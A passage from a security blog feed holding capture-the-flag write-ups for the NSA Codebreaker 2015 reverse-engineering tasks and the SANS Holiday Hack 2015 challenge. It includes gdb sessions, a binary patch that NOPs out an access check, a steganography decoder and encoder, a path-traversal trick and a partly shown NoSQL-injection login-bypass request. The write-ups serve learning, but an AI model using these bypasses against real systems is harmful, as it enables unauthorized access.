<span class="k">if</span> <span class="p">(</span><span class="n">pos</span> <span class="o">!=</span> <span class="mi">-1</span><span class="p">)</span> <span class="k">goto</span> <span class="n">read_char</span><span class="p">;</span>
<span class="nl">not_tab</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">' '</span><span class="p">)</span> <span class="k">goto</span> <span class="n">next_char</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">end_loop_1</span><span class="p">;</span>
<span class="nl">not_space</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\t'</span><span class="p">)</span> <span class="k">goto</span> <span class="n">next_char</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">end_loop_1</span><span class="p">;</span>
<span class="c1">// (pos == -1) || (c != '\t' && c != ' ')</span>
<span class="nl">end_loop_1</span><span class="p">:</span>
<span class="n">c</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ptok</span><span class="o">+</span><span class="n">pos</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="k">goto</span> <span class="n">get_next_token</span><span class="p">;</span>
<span class="n">pstr</span> <span class="o">=</span> <span class="n">ptok</span> <span class="o">+</span> <span class="n">pos</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">_804a707</span><span class="p">;</span>
<span class="p">...</span>
</code></pre></div>
<p>and moved on to the next chunk. Once all of the relevant chunks were done, I
cleaned up all of the <code>goto</code> statements and labels by rewriting the code based
on my understanding of the logic</p>
<div class="highlight"><pre><span></span><code><span class="p">...</span>
<span class="n">ptok</span> <span class="o">=</span> <span class="n">strtok</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ptok</span><span class="p">)</span> <span class="k">goto</span> <span class="n">no_more_tokens</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">max_bit</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">bit</span> <span class="o">=</span> <span class="n">max_bit</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="kt">size_t</span> <span class="n">pos</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">ptok</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pos</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">ptok</span> <span class="o">+</span> <span class="n">pos</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">p</span> <span class="o">>=</span> <span class="n">ptok</span> <span class="o">&&</span> <span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">==</span> <span class="sc">' '</span> <span class="o">||</span> <span class="o">*</span><span class="n">p</span> <span class="o">==</span> <span class="sc">'\t'</span><span class="p">))</span> <span class="o">--</span><span class="n">p</span><span class="p">;</span>
<span class="o">++</span><span class="n">p</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">==</span> <span class="sc">' '</span><span class="p">)</span> <span class="o">*</span><span class="n">pout</span> <span class="o">|=</span> <span class="p">(</span> <span class="mi">1</span> <span class="o"><<</span> <span class="n">bit</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">bit</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">bit</span> <span class="o">=</span> <span class="n">max_bit</span><span class="p">;</span>
<span class="o">++</span><span class="n">pout</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="o">--</span><span class="n">bit</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">++</span><span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">ptok</span> <span class="o">=</span> <span class="n">strtok</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="p">...</span>
</code></pre></div>
<p>The result was a decoder that implemented the following (incomplete) pseudocode:</p>
<div class="highlight"><pre><span></span><code>...
For each line of the message
Start at the end of the line
Read backward until a character that is not a tab or space is found
For each character until the end of the line
if a tab, append 0 to output
if a space, append 1 to output
...
</code></pre></div>
<p>In short, the message was binary encoded using tabs to represent zeros and
spaces to represent ones. Then the message bits were appended to lines
in an innocuous-looking text file.</p>
<p>The output bitstream contained three sections: a 7-byte header section starting
with <code>M</code> and containing the message size, the ID of the recipient, and the
signature size; a message section containing the secret message in cleartext;
and a signature section containing a base64-encoded RSA/SHA224 signature for the
message.</p>
<p>After the initial work to decode the hidden message, it was straightforward to
add the library calls needed to base64 decode the signature and verify it
using OpenSSL</p>
<div class="highlight"><pre><span></span><code>user@host:~/nsa_codebreaker_2015/task_3$ ./decode ../task_1/tier1_key.pem ../task_1/tier1_msg.txt
*****SIGNATURE IS VALID*****
Message: Meet at 22:00 tomorrow at our secure location. Come alone, and do not tell anyone - this meeting is sensitive, as leadership will be present. To authenticate yourself, mention the pass code osb4rfmthy5dp22kd7qm at the door.
*****SIGNATURE IS VALID*****
</code></pre></div>
<h3>The Encoder</h3>
<p>With the decoder logic in hand, creating the encoder was easy. Partial
pseudocode for the encoder looked like this:</p>
<div class="highlight"><pre><span></span><code>...
Create an RSA signature for the message, base64 encode it, and append it to the message
Create a header block with the leading M, the message size, the
recipient id, and the signature size, and prepend it to the message.
For each character of the message
For each bit of the character
if the bit is zero, output tab
if the bit is one, output space
Loop through encoded message
append three bits of the message to each line of the template
if less than three bits remain, append remaining bits
if no more lines in template, append remaining message to one empty
line at the end of the template
...
</code></pre></div>
<p>The result was an encoder that could encode messages that could be decoded
by the binary given in <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">Task 1</a>.</p>
<div class="highlight"><pre><span></span><code>user@host:~/nsa_codebreaker_2015/task_3$ ./encode tier3_private.pem message_in.txt tier3_template.txt > secret_message.txt
user@host:~/nsa_codebreaker_2015/task_3$ ../task_1/secret-messenger --reveal --symbol tier3_key.pem --action secret_message.txt
*****SIGNATURE IS VALID*****
Message: Sir, Good news! We have developed a capability to encode secret messages to help with OPERATION vq72hp4w2pkw7h28b4gg. We are ready for our final tasking. VR, Codebreaker 3473469
*****SIGNATURE IS VALID*****
</code></pre></div>
<p>Thus, Task 3 was complete.</p>NSA Codebreaker Challenge 2015: Task 22016-06-02T18:50:42-04:002016-06-02T18:50:42-04:00bbloughtag:billblough.net,2016-06-02:/blog/2016/06/02/nsa-codebreaker-challenge-2015-task-2/<hr>
<p>This is a continuation of <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">my previous post</a> on the NSA Codebreaker Challenge 2015, and covers
the second task in the challenge.</p>
<h2>Task 2</h2>
<div class="highlight"><pre><span></span><code> Through SIGINT we have collected a new message file - this one appears to
have been sent to a field operative in the terrorist organization that is …</code></pre></div><hr>
<p>This is a continuation of <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">my previous post</a> on the NSA Codebreaker Challenge 2015, and covers
the second task in the challenge.</p>
<h2>Task 2</h2>
<div class="highlight"><pre><span></span><code> Through SIGINT we have collected a new message file - this one appears to
have been sent to a field operative in the terrorist organization that is
of particular interest. A key file for this invidiual was collected
previously and should still be valid. We believe that this message may
contain actionable intelligence, so please report back with the message
contents as soon as possible. This task will require you to figure out how
to bypass the access controls built into the program that limit which
recipient can decode each message.
</code></pre></div>
<p>Running the program with the new message and key produced a new error:</p>
<div class="highlight"><pre><span></span><code> user@host:~/nsa_codebreaker_2015/task_2$ ./secret-messenger --reveal --action tier2_msg.txt --symbol tier2_key.pem
Invalid (failed check 4)
</code></pre></div>
<p>Once again running the program under gdb, it was possible to discover where
in the code the error message was being used. First, I used the process
memory map to get the starting and ending addresses. Then I used gdb's <code>find</code>
command to search for the error message string.</p>
<div class="highlight"><pre><span></span><code><span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">info</span><span class="w"> </span><span class="k">proc</span><span class="w"> </span><span class="k">map</span><span class="w"></span>
<span class="n">process</span><span class="w"> </span><span class="mi">13651</span><span class="w"></span>
<span class="n">Mapped</span><span class="w"> </span><span class="n">address</span><span class="w"> </span><span class="nl">spaces</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="k">Start</span><span class="w"> </span><span class="n">Addr</span><span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="n">Addr</span><span class="w"> </span><span class="k">Size</span><span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="n">objfile</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x8048000</span><span class="w"> </span><span class="mh">0x81a7000</span><span class="w"> </span><span class="mh">0x15f000</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="k">user</span><span class="o">/</span><span class="n">nsa_codebreaker_2015</span><span class="o">/</span><span class="n">task_2</span><span class="o">/</span><span class="n">secret</span><span class="o">-</span><span class="n">messenger</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x81a7000</span><span class="w"> </span><span class="mh">0x81a8000</span><span class="w"> </span><span class="mh">0x1000</span><span class="w"> </span><span class="mh">0x15e000</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="k">user</span><span class="o">/</span><span class="n">nsa_codebreaker_2015</span><span class="o">/</span><span class="n">task_2</span><span class="o">/</span><span class="n">secret</span><span class="o">-</span><span class="n">messenger</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x81a8000</span><span class="w"> </span><span class="mh">0x81aa000</span><span class="w"> </span><span class="mh">0x2000</span><span class="w"> </span><span class="mh">0x15f000</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="k">user</span><span class="o">/</span><span class="n">nsa_codebreaker_2015</span><span class="o">/</span><span class="n">task_2</span><span class="o">/</span><span class="n">secret</span><span class="o">-</span><span class="n">messenger</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x81aa000</span><span class="w"> </span><span class="mh">0x81ad000</span><span class="w"> </span><span class="mh">0x3000</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">heap</span><span class="o">]</span><span class="w"></span>
<span class="w"> </span><span class="o"><</span><span class="n">remaining</span><span class="w"> </span><span class="k">map</span><span class="w"> </span><span class="n">removed</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">brevity</span><span class="o">></span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">find</span><span class="w"> </span><span class="mh">0x8048000</span><span class="p">,</span><span class="w"> </span><span class="mh">0x81a7000</span><span class="p">,</span><span class="w"> </span><span class="ss">"Invalid (failed check 4)\n"</span><span class="w"></span>
<span class="mh">0x814e5e3</span><span class="w"></span>
<span class="mi">1</span><span class="w"> </span><span class="n">pattern</span><span class="w"> </span><span class="k">found</span><span class="p">.</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="p">(</span><span class="nc">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="w"> </span><span class="mh">0x814e5e3</span><span class="w"></span>
<span class="err">$</span><span class="mi">1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x814e5e3</span><span class="w"> </span><span class="ss">"Invalid (failed check 4)\n"</span><span class="w"></span>
</code></pre></div>
<p>With the address of the error message string, I could then search the address
space for references to it</p>
<div class="highlight"><pre><span></span><code><span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">find</span><span class="w"> </span><span class="mh">0x8048000</span><span class="p">,</span><span class="w"> </span><span class="mh">0x81a7000</span><span class="p">,</span><span class="w"> </span><span class="mh">0x814e5e3</span><span class="w"></span>
<span class="mh">0x804aad1</span><span class="w"> </span><span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mi">1233</span><span class="o">></span><span class="w"></span>
<span class="mi">1</span><span class="w"> </span><span class="n">pattern</span><span class="w"> </span><span class="k">found</span><span class="p">.</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">disassemble</span><span class="w"> </span><span class="mh">0x804aac8</span><span class="p">,</span><span class="w"> </span><span class="mh">0x804aaec</span><span class="w"></span>
<span class="k">Dump</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">assembler</span><span class="w"> </span><span class="n">code</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="mh">0x804aac8</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="mh">0x804aaec</span><span class="err">:</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0804aac8</span><span class="w"> </span><span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mi">1224</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x8049700</span><span class="w"> </span><span class="o"><</span><span class="k">exit</span><span class="nv">@plt</span><span class="o">></span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0804aacd</span><span class="w"> </span><span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mi">1229</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">esp+0x4</span><span class="o">]</span><span class="p">,</span><span class="mh">0x814e5e3</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0804aad5</span><span class="w"> </span><span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mi">1237</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">esp</span><span class="o">]</span><span class="p">,</span><span class="mh">0x1</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0804aadc</span><span class="w"> </span><span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mi">1244</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x80498a0</span><span class="w"> </span><span class="o"><</span><span class="n">__printf_chk</span><span class="nv">@plt</span><span class="o">></span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0804aae1</span><span class="w"> </span><span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mi">1249</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">esp</span><span class="o">]</span><span class="p">,</span><span class="mh">0x1</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0804aae8</span><span class="w"> </span><span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mi">1256</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x8049700</span><span class="w"> </span><span class="o"><</span><span class="k">exit</span><span class="nv">@plt</span><span class="o">></span><span class="w"></span>
<span class="k">End</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">assembler</span><span class="w"> </span><span class="k">dump</span><span class="p">.</span><span class="w"></span>
</code></pre></div>
<p>Searching for references to <code>0x0804aacd</code> found nothing. If I were using a
more advanced tool, such as <a href="https://www.hex-rays.com/products/ida/">IDA</a>, I could follow the call graph and see
what jumps to that address. Rather than step through the program and watch
for the jump manually, I decided to use gdb's ability to step backwards while
debugging. This allowed me to set a breakpoint on <code>0x0804aacd</code> and run the
program up to that point, then step backwards to see what led there.</p>
<p><img src="https://billblough.net/images/nsa2015/reverse_debugging.png" alt="The comparison and jump in gdb" style="width: 100%;"/></p>
<p>Just prior to the jump was a comparison checking if the value contained in the
<code>ax</code> register was equal to 0x6962. Since the goal of this task is to bypass this check,
the most straightforward solution is to patch out the jmp so it is never taken.
I did this with the <code>hexedit</code> utility, and replaced the 6 bytes that made up the <code>jne</code> instruction
with the <code>NOOP</code> value of 0x90.</p>
<p>However, when using the hex editor to edit the binary, the addressing starts at
zero. So in order to patch in the correct place, it was necessary to calculate
the offset from the beginning of the memory space to the target address
(<code>0x804a7c3 - 0x8048000 = 0x27c3</code>), and then modify the binary at that offset in
the editor.</p>
<p><img src="https://billblough.net/images/nsa2015/hexedit.png" alt="The hexeditor program showing the NOOP bytes" style="width: 100%;"/></p>
<p>After patching the binary, decoding the message worked without errors and showed that the
bypass of the check was successful</p>
<div class="highlight"><pre><span></span><code>user@host:~/nsa_codebreaker_2015/task_2$ ./secret-messenger --reveal --action tier2_msg.txt --symbol tier2_key.pem
*****SIGNATURE IS VALID*****
Message: Our plans have been set into motion - Member number 392 is ready to carry out his tasking, and in 2 weeks time the window of opportunity will be open. If it is necessary to abort the action, the authentication code to use is hw8qviacbj6xkus6wsel.
*****SIGNATURE IS VALID*****
</code></pre></div>
<p>A successful decode of the message also meant that Task 2 was complete.</p>NSA Codebreaker Challenge 2015: Background and Task 12016-04-28T23:30:37-04:002016-04-28T23:30:37-04:00bbloughtag:billblough.net,2016-04-28:/blog/2016/04/28/nsa-codebreaker-challenge-2015-background-and-task-1/<hr>
<p>Last year, the <a href="https://www.nsa.gov/">National Security Agency</a> held a reverse engineering
competition for students. It ran from September 1st to December 31st, and
consisted of four tasks. <a href="https://codebreaker.ltsnet.net/2015-results.html">The results page</a> lists the participating schools
and students, along with tasks completed, rankings, and times. I represented
<a href="http://www.cs.fsu.edu/">Florida State University</a> and was able …</p><hr>
<p>Last year, the <a href="https://www.nsa.gov/">National Security Agency</a> held a reverse engineering
competition for students. It ran from September 1st to December 31st, and
consisted of four tasks. <a href="https://codebreaker.ltsnet.net/2015-results.html">The results page</a> lists the participating schools
and students, along with tasks completed, rankings, and times. I represented
<a href="http://www.cs.fsu.edu/">Florida State University</a> and was able to complete all four tasks in just
under 53 hours.</p>
<h2>Background Story</h2>
<div class="highlight"><pre><span></span><code> NSA has discovered that the leadership of a terrorist organization is using
a new method of communicating secret messages to its operatives in the
field. Intelligence suggests that each member of the organization is
provided a program that can be used to read the messages, and that a
customized cryptographic implementation is used to generate a
public/private key pair, which is then used to authenticate messages from
leadership to each member.
A copy of the program belonging to a high-ranking operative has been
recovered, along with that individual's key and a text file believed to
contain a hidden message. At first glance, the program appears to simply
check stock information, but this is likely a ruse to make it appear
innocuous. Your mission is to reverse-engineer this software and develop
capabilities to exploit the secret messaging component. There are 4
different tasks for you to complete, with each increasing in difficulty and
building off the previous task(s).
</code></pre></div>
<h2>Task 1</h2>
<div class="highlight"><pre><span></span><code> We need your help with decoding the message that we've captured. The text
file, key file, and secret messaging program can be found below. The main
objective for this task is to figure out how to decode the message with the
program and report back on your findings.
To complete this task, you will most likely need to analyze the program
binary in order to determine how to trigger the hidden functionality and
decode the secret message.
</code></pre></div>
<p>As stated in the background story, the program appeared to be a simple
stock price query utility:</p>
<div class="highlight"><pre><span></span><code> user@host:~/nsa_codebreaker_2015/task_1$ ./codebreaker3 --help
Help:
--debug true : Show debugging information
--help : Show this help message
--symbol <symbol> : The ticker symbol to reference
--action <action> :
'open' for the days opening price
'low' for the days lowest price
'high' for the days highest price
'last' for the last price
--symbol and --action are required arguments
Stock Information Powered by Yahoo!
</code></pre></div>
<p>And indeed, it seemed to work as such:</p>
<div class="highlight"><pre><span></span><code> user@host:~/nsa_codebreaker_2015/task_1$ ./codebreaker3 --symbol GOOG --action open
'open' info for 'GOOG': 708.26
</code></pre></div>
<p>The first order of business was to discover how to invoke the secret
functionality.</p>
<p>Running <code>strings</code> on the binary "revealed" something interesting - a hidden option! </p>
<div class="highlight"><pre><span></span><code> --reveal : Enter secret message mode
</code></pre></div>
<p>However, trying that option produced an error:</p>
<div class="highlight"><pre><span></span><code> user@host:~/nsa_codebreaker_2015/task_1$ ./codebreaker3 --reveal
Failed binary name check
</code></pre></div>
<p>At that point, I decided to step through execution in gdb, in order to see
what was happening. As it turns out, there is a check that the binary name
is exactly 16 characters long</p>
<p><img src="https://billblough.net/images/nsa2015/basename_length.png" alt="The basename length check in gdb" style="width: 100%;"/></p>
<p>Renaming the binary to be 16 characters long didn't change the error message. So, proceeding
further in gdb with the renamed binary, I found a check that verifies that the
program was invoked as <code>secret-messenger</code></p>
<p><img src="https://billblough.net/images/nsa2015/name_comparison.png" alt="The basename comparison in gdb" style="width: 100%;"/></p>
<p>Renaming the binary to <code>secret-messenger</code> was all it took to get further.</p>
<div class="highlight"><pre><span></span><code> user@host:~nsa_codebreaker_2015/task_1$ ./secret-messenger --reveal
Missing required parameter. Run with --help for more info.
</code></pre></div>
<p>The <code>--help</code> text was the same as before, and the output of <code>strings</code> didn't
show any additional options. Rather than diving back into gdb, I decided to
follow the hunch that the existing options served a purpose in the secret mode
as well. A little trial-and-error was called for.</p>
<div class="highlight"><pre><span></span><code> user@host:~nsa_codebreaker_2015/task_1$ ./secret-messenger --reveal --symbol foo --action bar
Could not open 'bar'
access: No such file or directory
</code></pre></div>
<p>So I passed the key file as the action</p>
<div class="highlight"><pre><span></span><code> user@host:~nsa_codebreaker_2015/task_1$ ./secret-messenger --reveal --symbol foo --action tier1_key.pem
Could not open 'foo'
access: No such file or directory
</code></pre></div>
<p>And also the message file as the symbol</p>
<div class="highlight"><pre><span></span><code> user@host:~nsa_codebreaker_2015/task_1$ ./secret-messenger --reveal --symbol tier1_msg.txt --action tier1_key.pem
Could not open 'foo'
Invalid (failed check 1)
</code></pre></div>
<p>Since there was no guarantee that I guessed right the first time, I thought it might be possible
that I had the files matched to the wrong arguments. So I tried swapping them</p>
<div class="highlight"><pre><span></span><code> user@host:~nsa_codebreaker_2015/task_1$ ./secret-messenger --reveal --action tier1_msg.txt --symbol tier1_key.pem
*****SIGNATURE IS VALID*****
Message: Meet at 22:00 tomorrow at our secure location. Come alone, and do not tell anyone - this meeting is sensitive, as leadership will be present. To authenticate yourself, mention the pass code osb4rfmthy5dp22kd7qm at the door.
*****SIGNATURE IS VALID*****
</code></pre></div>
<p>And bingo! The <code>action</code> argument went with the message file, while the <code>symbol</code> argument went with the key file.</p>
<p>With the message decoded, Task 1 was complete.</p>SANS Holiday Hack Challenge 2015 Writeup2016-01-05T17:46:56-05:002016-01-05T17:46:56-05:00bbloughtag:billblough.net,2016-01-05:/blog/2016/01/05/sans-holiday-hack-challenge-2015-writeup/<hr>
<p>In the 2015 <a href="https://www.holidayhackchallenge.com/2015/">SANS Holiday Hack Challenge</a> the goal was to determine the
true purpose of the "Gnome In Your Home" product, as well as "Who" was behind
its development and the details of their dastardly plot. This is a writeup
of my findings and how I arrived at them …</p><hr>
<p>In the 2015 <a href="https://www.holidayhackchallenge.com/2015/">SANS Holiday Hack Challenge</a> the goal was to determine the
true purpose of the "Gnome In Your Home" product, as well as "Who" was behind
its development and the details of their dastardly plot. This is a writeup
of my findings and how I arrived at them.</p>
<h2>Part 1 - The packet capture</h2>
<p>The provided pcap file contained a snapshot of the Gnome's traffic. Inspecting
this in <a href="https://www.wireshark.org">Wireshark</a> made it apparent that there was covert communication
traffic masquerading as DNS traffic.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/dns_cc.png" alt="Viewing the packet capture in Wireshark" style="width: 100%;"/></p>
<p>Some basic scripting with <a href="http://www.secdev.org/projects/scapy/">Scapy</a> made extracting the relevant information
from the traffic pretty straightforward. The results showed commands being
executed on the Gnome via the C&C channel, and an image taken by the Gnome's
camera being sent back to the controlling system.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/snapshot_CURRENT.jpg" alt="The image transmitted by the Gnome" style="width: 100%;"/></p>
<h2>Part 2 - The firmware dump</h2>
<p>The provided firmware file contained a squashfs filesystem that was easily
unpacked by <a href="https://github.com/devttys0/binwalk">binwalk</a>. </p>
<div class="highlight"><pre><span></span><code> DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PEM certificate
1809 0x711 ELF 32-bit LSB shared object, ARM, version 1 (SYSV)
168803 0x29363 Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17376149 bytes, 4866 inodes, blocksize:
131072 bytes, created: Tue Dec 8 13:47:32 2015
</code></pre></div>
<p>The firmware was based on <a href="https://openwrt.org/">OpenWRT</a> and was compiled for ARM. Customized
for use in the Gnome, it contained a <a href="https://nodejs.org/">Node.js</a> web application, a
<a href="https://www.mongodb.org/">MongoDB</a> instance, and Gnome-specific programs sgdnsc2 and sgstatd.</p>
<p>An examination of the database yielded application credentials stored in
plaintext, including credentials for a regular user account, as well as an
admin account.</p>
<p>Analysis of the web application code yielded several vulnerabilities that could
be used to compromise the SuperGnomes. However, much of the relevant code was
commented out, so the vulnerabilities present in a specific SuperGnome would
depend on which version of the code it was running.</p>
<p>Also found in the firmware was the IP address of the first SuperGnome.</p>
<h2>Part 3 - Finding SuperGnomes</h2>
<p>Accessing the first SuperGnome via a web browser (using the admin credentials
found in the firmware) indicated that there were a total of five SuperGnomes.
Plugging some Gnome-specific information into <a href="https://www.shodan.io/">Shodan</a> quickly led to the
other four, all scattered around the world.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/GIYH_admin.png" alt="The SuperGnome web interface" style="width: 100%;"/></p>
<h2>Part 4 - Hacking SuperGnomes</h2>
<p><strong>SG-01:</strong> For SG-01, no exploits were needed, however. The admin credentials
found in the firmware were enough to access the needed files, including the
gnome.conf, another packet capture, some fuzzy camera images, messages from
"GnomeNet", and a zip file containing the sgstatd program source code.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/SG01_files.png" alt="The SG-01 file list" style="width: 100%;"/></p>
<p>The packet capture contained a complete SMTP session, from which the email
message could be read. The email contained plot details, and a rough diagram
of the Gnome surveillance network architecture.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/GIYH_architecture.jpg" alt="The GIYH architecture drawing extracted from the captured email" style="width: 100%;"/></p>
<p>Based on the GnomeNet messages, the fuzzy camera images were evidence of a
software error that caused several camera images to be XORed together.
Conveniently, all of the cameras had been shut off except for the one in the
boss' office, so XORing all of the disabled factory camera images with the garbled
image should produce an image of the boss' office (and maybe even the boss). </p>
<p><img src="https://billblough.net/images/2015-SANS-HH/camera_feed_overlap_error.png" alt="The fuzzy image recovered from SG-01" style="width: 100%;"/></p>
<p>The sgstatd source code proved useful, since analyzing the source yielded
another vulnerability that could be exploited on the SuperGnomes.</p>
<p><strong>SG-02:</strong> While it was possible to log into SG-02 using the known credentials,
file download was disabled. However, the web application's camera image
viewer contained Local File Include and Path Traversal vulnerabilities, with the
caveat that it also contained an extension check to ensure that only files with
a .png extension could be viewed/downloaded. Fortunately, it was possible to
bypass this by using the settings upload function to create a subdirectory
named .png, and then crafting the path traversal to include our .png
directory in the path when specifying the local file to include.</p>
<p><img src="https://billblough.net/images/2015-SANS-HH/SG02_create_dir.png" alt="Creation of a directory using the settings upload function" style="width: 100%;"/></p>
<p><img src="https://billblough.net/images/2015-SANS-HH/SG02_LFI.png" alt="The LFI vulnerability in action" style="width: 100%;"/></p>
<p>With this, it was possible to download the gnome.conf, another packet capture,
and another factory camera image.</p>
<p>The packet capture contained another SMTP session. In this email, the Gnome
hardware order was being discussed, including ARM-based systems, WiFi adapters,
and other hardware.</p>
<p><strong>SG-03:</strong> On SG-03, the admin credentials used previously did not work at all
-- it wasn't even possible to log in with them. The user credentials worked, but
did not have access to anything useful. However, the authentication routine
was vulnerable to NoSQL injection. Using <a href="https://portswigger.net/burp/">Burp Suite</a> to modify form
submissions, it was possible to pass JavaScript into the login form, affect the
DB query, and trick the system in to authenticating as admin even without the
password.</p>
<div class="highlight"><pre><span></span><code><span class="nf">POST</span> <span class="nn">/</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">52.64.191.71</span>
<span class="na">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.4.0</span>
<span class="na">Accept</span><span class="o">:</span> <span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="o">:</span> <span class="l">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate</span>
<span class="na">DNT</span><span class="o">:</span> <span class="l">1</span>
<span class="na">Referer</span><span class="o">:</span> <span class="l">http://52.64.191.71/</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">sessionid=WkuIcJkXMuOi0Jpa7bSV</span>
<span class="na">Connection</span><span class="o">:</span> <span class="l">close</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">application/json</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">68</span>
<span class="p">{</span>
<span class="nt">"username"</span><span class="p">:</span> <span class="p">{</span><span class="nt">"$eq"</span><span class="p">:</span> <span class="s2">"admin"</span><span class="p">},</span>
